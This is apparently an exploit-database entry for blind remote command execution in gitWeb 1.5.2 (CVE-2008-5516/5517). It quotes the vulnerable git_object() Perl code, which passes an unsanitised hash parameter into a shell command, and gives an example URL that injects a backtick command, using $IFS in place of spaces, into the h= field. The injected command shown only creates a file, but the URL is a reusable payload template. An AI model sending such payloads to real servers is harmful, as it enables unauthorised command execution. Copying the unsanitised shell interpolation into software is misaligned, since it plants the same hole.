gitWeb 1.5.2 - Remote Command Execution

# Exploit Title: gitWeb remote command execution
# Date: 2009.06.19
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: GIT 1.5.2
# Tested on: debian linux, GIT 1.5.2
# CVE: CVE-2008-5516 - CVE-2008-5517

# Code:

# The cgi script doesn't show the command output *blind command execution ;)*
# Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object()


sub git_object {
        # object is defined by:
        # - hash or hash_base alone
        # - hash_base and file_name
        my $type;

        # - hash or hash_base alone
        if ($hash || ($hash_base && !defined $file_name)) {
                my $object_id = $hash || $hash_base;

                my $git_command = git_cmd_str();
                open my $fd, "-|", "$git_command cat-file -t $object_id 2>/dev/null"
                        or die_error('404 Not Found', "Object does not exist");
                $type = <$fd>;
                chomp $type;
                close $fd
                        or die_error('404 Not Found', "Object does not exist");

        # - hash_base and file_name

# Example
http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785